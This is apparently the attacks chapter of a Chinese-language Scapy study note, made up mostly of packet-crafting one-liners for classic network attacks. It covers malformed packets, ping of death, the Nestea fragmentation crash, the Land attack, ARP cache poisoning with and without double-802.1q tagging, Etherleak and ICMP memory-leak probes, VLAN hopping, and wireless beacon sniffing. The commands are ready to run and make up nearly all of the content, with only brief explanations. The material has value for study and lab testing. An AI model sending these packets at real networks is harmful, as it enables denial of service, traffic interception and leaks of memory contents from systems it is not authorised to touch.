链接地址: https://github.com/dhgdhg/Scapy-Note

十六.攻击

16.1.畸形数据包

  • send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())

16.2.死亡之Ping

ping 数据包巨大

  • send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)))

16.3.Nestea攻击

受到Nestea拒绝服务攻击的计算机几乎肯定会崩溃

>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10)) 
>>> send(IP(dst=target, id=42, frag=48)/("X"*116)) 
>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))

16.4.地面攻击(Windwos专用)

  • send(IP(src=target,dst=target)/TCP(sport=135,dport=135))

16.5.ARP缓存毒化

这种攻击通过VLAN跳变攻击来毒化ARP缓存, 从而阻止客户端加入网关

  • 经典的ARP缓存毒化
    • send(Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client), inter=RandNum(10,40), loop=1)
  • 用双802.1q封装的ARP缓存毒化
    • send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2) /ARP(op="who-has", psrc=gateway, pdst=client), inter=RandNum(10,40), loop=1)

16.6.Ether_leaking

Exploit Etherleak flaw, 网络设备驱动程序在对于小于46字节的包数据会进行填补. 多个网络设备驱动程序在填补数据包时使用以前的帧缓冲数据, 远程攻击者可以利用这个漏洞从受此漏洞影响的设备中获得一些敏感信息. Ethernet标准(IEEE 802.3)定义数据包的最小字段为46字节, 如果高层协议如IP提供的数据包小于46字节, 设备驱动程序必须填充数据段来迎合IEEE 802规定的最小帧大小规定, 而填充值一般是NULL数据. 但是许多Ethernet设备驱动程序没有正确按照标准实现进行操作, 对数据的填充没有使用NULL字节, 而重用了以前传输过的帧数据进行填补操作. 由于Ethernet帧缓冲区在内核内存空间分配, 因此通过分析这些填补数据可以获得一些系统敏感信息.

  • sr1(IP(dst="172.16.1.232")/ICMP())

16.7.ICMP_leaking

这是一个Linux 2.0的bug

  • sr1(IP(dst="172.16.1.1", options="\x02")/ICMP())

16.8.VLAN跳跃

在非常特殊的情况下, 双802.1q封装将使包跳转到另一个VLAN

  • sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP())

16.9.无线网嗅探

下面的命令将显示类似于大多数无线嗅探器的信息

  • sniff(iface="mon0", monitor=True, prn=lambda x:x.sprintf("Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\t%Dot11Beacon.cap%"))